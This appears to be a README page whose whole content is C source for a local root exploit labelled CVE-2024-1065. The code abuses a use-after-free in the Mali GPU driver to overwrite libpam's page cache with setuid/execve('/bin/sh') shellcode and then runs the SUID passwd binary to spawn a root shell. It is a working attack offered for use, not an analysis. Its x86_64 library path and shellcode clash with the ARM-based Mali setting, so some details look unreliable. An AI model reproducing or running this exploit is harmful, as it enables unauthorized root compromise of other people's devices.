README.md
Rendering markdown...
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/resource.h>
#include <errno.h>
#include <err.h>
#include <assert.h>
#include <stdint.h>
#include <ctype.h>
/* ─── Macros ─────────────────────────────────────────────────────────── */
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define LOCAL_PAGE_SHIFT 12
#define BASE_MEM_MAP_TRACKING_HANDLE (3ul << LOCAL_PAGE_SHIFT)
#define KBASE_IOCTL_TYPE 0x80
#define BASE_MEM_CACHED_CPU (1 << 12)
#define BASE_MEM_COHERENT_SYSTEM_REQUIRED (1 << 15)
#define TARGET_BINARY "/lib/x86_64-linux-gnu/libpam.so.0" /* library to corrupt */
#define TRIGGER_BINARY "/usr/bin/passwd" /* SUID binary to execve() */
#define NUM_FDS 100
#define PAGE_OFFSET 0x3000 /* file offset of the page containing pam_authenticate() */
#define FUNC_OFFSET 0xbc0 /* intra-page offset of pam_authenticate() */
/* ─── IOCTL structs ──────────────────────────────────────────────────── */
struct kbase_ioctl_version_check {
__u16 major;
__u16 minor;
};
#define KBASE_IOCTL_VERSION_CHECK \
_IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check)
struct kbase_ioctl_set_flags {
__u32 create_flags;
};
#define KBASE_IOCTL_SET_FLAGS \
_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
struct base_mem_import_user_buffer {
__u64 ptr;
__u64 length;
};
union kbase_ioctl_mem_import {
struct {
__u64 flags;
__u64 phandle;
__u32 type;
__u32 padding;
} in;
struct {
__u64 flags;
__u64 gpu_va;
__u64 va_pages;
} out;
};
#define KBASE_IOCTL_MEM_IMPORT \
_IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)
/* ─── Helpers ────────────────────────────────────────────────────────── */
static int setup_mali(void)
{
struct kbase_ioctl_version_check vc = { .major = 11, .minor = 11 };
struct kbase_ioctl_set_flags set_flags = { .create_flags = 0 };
int mali_fd = SYSCHK(open("/dev/mali0", O_RDWR));
SYSCHK(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &vc));
SYSCHK(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &set_flags));
SYSCHK(mmap(NULL, 0x1000, PROT_NONE, MAP_SHARED, mali_fd,
BASE_MEM_MAP_TRACKING_HANDLE));
return mali_fd;
}
static void hexdump(void *_data, size_t byte_count)
{
printf("hexdump(%p, 0x%lx)\n", _data, (unsigned long)byte_count);
for (unsigned long off = 0; off < byte_count; off += 16) {
unsigned char *bytes = (unsigned char *)_data + off;
unsigned long n = (byte_count - off > 16) ? 16 : (byte_count - off);
char line[1000];
char *p = line;
p += sprintf(p, "%08lx ", off);
for (int i = 0; i < 16; i++) {
if (i >= (int)n)
p += sprintf(p, " ");
else
p += sprintf(p, "%02hhx ", bytes[i]);
}
p += sprintf(p, " |");
for (int i = 0; i < (int)n; i++) {
if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ')
*(p++) = bytes[i];
else
*(p++) = '.';
}
p += sprintf(p, "|");
puts(line);
}
}
/* ─── Main ───────────────────────────────────────────────────────────── */
int main(void)
{
/* ── CPU affinity ──────────────────────────────────────────────── */
int cpu = sched_getcpu();
if (cpu < 0) {
perror("sched_getcpu");
exit(EXIT_FAILURE);
}
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
/* ── Open target library NUM_FDS times ─────────────────────────── */
int fds[NUM_FDS];
for (int i = 0; i < NUM_FDS; i++) {
fds[i] = open(TARGET_BINARY, O_RDONLY);
if (fds[i] < 0) {
perror("open target library");
exit(EXIT_FAILURE);
}
}
printf("[*] Opened %s x%d\n", TARGET_BINARY, NUM_FDS);
fflush(stdout);
/* ── Trigger UAF (CVE-2024-1065) ───────────────────────────────── */
int mali_fd = setup_mali();
char *anon_mapping = SYSCHK(mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
*(volatile char *)anon_mapping = 1; /* fault page into RAM */
struct base_mem_import_user_buffer ubuf = {
.ptr = (unsigned long)anon_mapping,
.length = 0x1000,
};
union kbase_ioctl_mem_import mi = {
.in = {
.flags = 0xf | BASE_MEM_CACHED_CPU
| BASE_MEM_COHERENT_SYSTEM_REQUIRED,
.phandle = (unsigned long)&ubuf,
.type = 3, /* BASE_MEM_IMPORT_TYPE_USER_BUFFER */
},
};
SYSCHK(ioctl(mali_fd, KBASE_IOCTL_MEM_IMPORT, &mi));
printf("[*] MEM_IMPORT: flags=0x%lx gpu_va=0x%lx va_pages=0x%lx\n",
(unsigned long)mi.out.flags,
(unsigned long)mi.out.gpu_va,
(unsigned long)mi.out.va_pages);
assert(mi.out.flags & (1 << 14)); /* BASE_MEM_NEED_MMAP */
/* First host mapping — GPU_MAPPED state */
void *gpu_mapping = SYSCHK(mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE,
MAP_SHARED, mali_fd, mi.out.gpu_va));
printf("[*] gpu_mapping (VA 1): %p\n", gpu_mapping);
/* Second host mapping — same physical page, becomes stale after munmap */
char *cpu_mapping2 = SYSCHK(mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE,
MAP_SHARED, mali_fd, (off_t)gpu_mapping));
printf("[*] cpu_mapping2 (VA 2): %p\n", cpu_mapping2);
(void)*(volatile char *)cpu_mapping2; /* populate PTEs before munmap */
munmap(gpu_mapping, 0x1000);
munmap(anon_mapping, 0x1000);
printf("[*] UAF triggered — stale mapping alive at %p\n", cpu_mapping2);
fflush(stdout);
/* ── Spray: evict → race → confirm ─────────────────────────────── */
printf("[*] Spraying page cache (%d attempts)...\n", NUM_FDS);
fflush(stdout);
char buf[4096];
int confirmed = 0;
for (int i = 0; i < NUM_FDS && !confirmed; i++) {
posix_fadvise(fds[i], PAGE_OFFSET, 4096, POSIX_FADV_DONTNEED);
pread(fds[i], buf, 4096, PAGE_OFFSET);
/* 0x00 = uninitialised, 0x61 = stale spray, 0xaa = page poison (CONFIG_PAGE_POISONING) */
unsigned char probe = ((unsigned char *)cpu_mapping2)[FUNC_OFFSET];
if (probe != 0x00 && probe != 0x61 && probe != 0xaa) {
printf("[+] Overlap confirmed on attempt %d (byte=0x%02x) — "
"cpu_mapping2 aliases the page cache!\n", i + 1, probe);
confirmed = 1;
}
}
if (!confirmed) {
fprintf(stderr, "[-] Failed to land on the page cache "
"after %d attempts.\n", NUM_FDS);
exit(EXIT_FAILURE);
}
/* ── Inject shellcode ───────────────────────────────────────────── */
unsigned char shellcode[] = {
/* setuid(0) — syscall 105 */
0x48, 0x31, 0xff, /* xor rdi, rdi */
0xb8, 0x69, 0x00, 0x00, 0x00, /* mov eax, 105 */
0x0f, 0x05, /* syscall */
/* setgid(0) — syscall 106 */
0x48, 0x31, 0xff, /* xor rdi, rdi */
0xb8, 0x6a, 0x00, 0x00, 0x00, /* mov eax, 106 */
0x0f, 0x05, /* syscall */
/* execve("/bin/sh", NULL, NULL) — syscall 59 */
0x48, 0x31, 0xd2, /* xor rdx, rdx */
0x48, 0xbb, /* mov rbx, ... */
0x2f, 0x62, 0x69, 0x6e, /* "/bin" */
0x2f, 0x73, 0x68, 0x00, /* "/sh\0" */
0x53, /* push rbx */
0x48, 0x89, 0xe7, /* mov rdi, rsp */
0x48, 0x31, 0xf6, /* xor rsi, rsi */
0xb8, 0x3b, 0x00, 0x00, 0x00, /* mov eax, 59 */
0x0f, 0x05, /* syscall */
};
memcpy(cpu_mapping2 + FUNC_OFFSET, shellcode, sizeof(shellcode));
printf("[*] Shellcode written to %s page cache.\n", TARGET_BINARY);
printf("[*] Triggering via %s...\n", TRIGGER_BINARY);
fflush(stdout);
/* ── Execute ────────────────────────────────────────────────────── */
char *args[] = { TRIGGER_BINARY, NULL };
char *env[] = { NULL };
execve(TRIGGER_BINARY, args, env);
perror("execve");
return 1;
}